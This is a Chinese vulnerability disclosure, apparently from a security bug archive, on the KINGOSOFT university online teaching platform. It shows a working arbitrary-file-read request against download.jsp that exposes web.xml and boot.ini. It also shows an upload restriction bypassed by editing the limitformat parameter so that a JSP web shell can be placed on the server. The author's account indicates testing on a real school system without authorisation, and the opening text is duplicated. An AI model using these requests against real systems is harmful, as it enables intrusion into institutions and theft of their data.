### 简要描述： KINGOSOFT高校网络教学平台一系列严重问题 ### 详细说明： KINGOSOFT高校网络教学平台是青果软件的另一产品，发现有严重的安全隐患。 1.文件读取漏洞 这个系统是J2EE开发，我们来访问（实际测试地址不方便放出，因为是学校） ``` http://test.com/testpath/download.jsp?downfile=WEB-INF/web.xml ``` 得到 ``` <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.5" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"> <!-- <filter> <filter-name>CASFilter</filter-name> <filter-class> edu.yale.its.tp.cas.client.filter.CASFilter </filter-class> <init-param> <param-name> edu.yale.its.tp.cas.client.filter.loginUrl </param-name> <param-value> http://192.168.0.186:8081/cas/login </param-value> </init-param> <init-param> <param-name> edu.yale.its.tp.cas.client.filter.validateUrl </param-name> <param-value> https://192.168.0.186:8081/cas/proxyValidate </param-value> </init-param> <init-param> <param-name>...
### 简要描述： KINGOSOFT高校网络教学平台一系列严重问题 ### 详细说明： KINGOSOFT高校网络教学平台是青果软件的另一产品，发现有严重的安全隐患。 1.文件读取漏洞 这个系统是J2EE开发，我们来访问（实际测试地址不方便放出，因为是学校） ``` http://test.com/testpath/download.jsp?downfile=WEB-INF/web.xml ``` 得到 ``` <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" version="2.5" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"> <!-- <filter> <filter-name>CASFilter</filter-name> <filter-class> edu.yale.its.tp.cas.client.filter.CASFilter </filter-class> <init-param> <param-name> edu.yale.its.tp.cas.client.filter.loginUrl </param-name> <param-value> http://192.168.0.186:8081/cas/login </param-value> </init-param> <init-param> <param-name> edu.yale.its.tp.cas.client.filter.validateUrl </param-name> <param-value> https://192.168.0.186:8081/cas/proxyValidate </param-value> </init-param> <init-param> <param-name> edu.yale.its.tp.cas.client.filter.serverName </param-name> <param-value>192.168.0.186:8081</param-value> </init-param> </filter> <filter-mapping> <filter-name>CASFilter</filter-name> <url-pattern>/caslogin.jsp</url-pattern> </filter-mapping> --> <filter> <filter-name>LoginCheckFilter</filter-name> <filter-class> com.kingosoft.servlet.wljxpt.ptgl.LoginCheckFilter </filter-class> </filter> <filter-mapping> <filter-name>LoginCheckFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <servlet> <servlet-name>dwr-invoker</servlet-name> <servlet-class> org.directwebremoting.servlet.DwrServlet </servlet-class> <init-param> <param-name>activeReverseAjaxEnabled</param-name> <param-value>true</param-value> </init-param> <init-param> <param-name>debug</param-name> <param-value>true</param-value> </init-param> </servlet> 　 <listener> 　　 <listener-class>com.kingosoft.servlet.wljxpt.ptgl.MySessionListener</listener-class> 　 </listener> <jsp-config> <taglib> <taglib-uri>http://kingosoft.com/tld/ui</taglib-uri> <taglib-location> /WEB-INF/tld/kingosoft-ui.tld </taglib-location> </taglib> </jsp-config> ..........以下省略 ``` 试试c:\boot.ini, ``` http://test.com/testpath/download.jsp?downfile=c:boot.ini ``` ``` [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003 Enterprise x64 Edition" /noexecute=optout /fastdetect ``` 2.文件上传，需拥有学生账号登陆 [<img src="https://images.seebug.org/upload/201312/11021400517e949c9573c60bcd48b2d8718033e0.jpg" alt="QQ截图20131211021233.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/11021400517e949c9573c60bcd48b2d8718033e0.jpg) 如图，我们用我们的学号登陆进来，（虽然我已毕业一年，但是母校还是对我恋恋不舍），找到课外交流-收发邮件，然后我们新建邮件，看到有一个添加附件，我们来试试上传， [<img src="https://images.seebug.org/upload/201312/110218417bf82878697a52d6ed0da6df422e8d15.jpg" alt="QQ截图20131211021715.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/110218417bf82878697a52d6ed0da6df422e8d15.jpg) ，上面限定了文件类型，我尝试了直接上传，果然不行，然后我打开burpsuite抓包，如图 [<img src="https://images.seebug.org/upload/201312/11023623441245d839f6b14ed18b0f1e4e5ee76c.jpg" alt="QQ截图20131211022148.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/11023623441245d839f6b14ed18b0f1e4e5ee76c.jpg) 发现在上传提交时，程序把文件类型当做参数一起提交了， ``` POST /wljxpt/upload.jsp?limitformat=txt,pdf,gif,jpg,rar,doc,bmp,xls,ppt,mp3&maxfilesize=10485760&dir= HTTP/1.1 ``` 果断添加一个jsp，成功上传，上传后的shell url为：http;//test.com/uploadfile/server.jsp, [<img src="https://images.seebug.org/upload/201312/11022953909e31b3131c36b53517565679d0baaf.jpg" alt="QQ截图20131211022854.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/11022953909e31b3131c36b53517565679d0baaf.jpg) ### 漏洞证明： [<img src="https://images.seebug.org/upload/201312/11023253be4795ae06442e41e0a99934fedf3ce2.jpg" alt="QQ截图20131211023146.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/11023253be4795ae06442e41e0a99934fedf3ce2.jpg) [<img src="https://images.seebug.org/upload/201312/11022953909e31b3131c36b53517565679d0baaf.jpg" alt="QQ截图20131211022854.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/11022953909e31b3131c36b53517565679d0baaf.jpg)
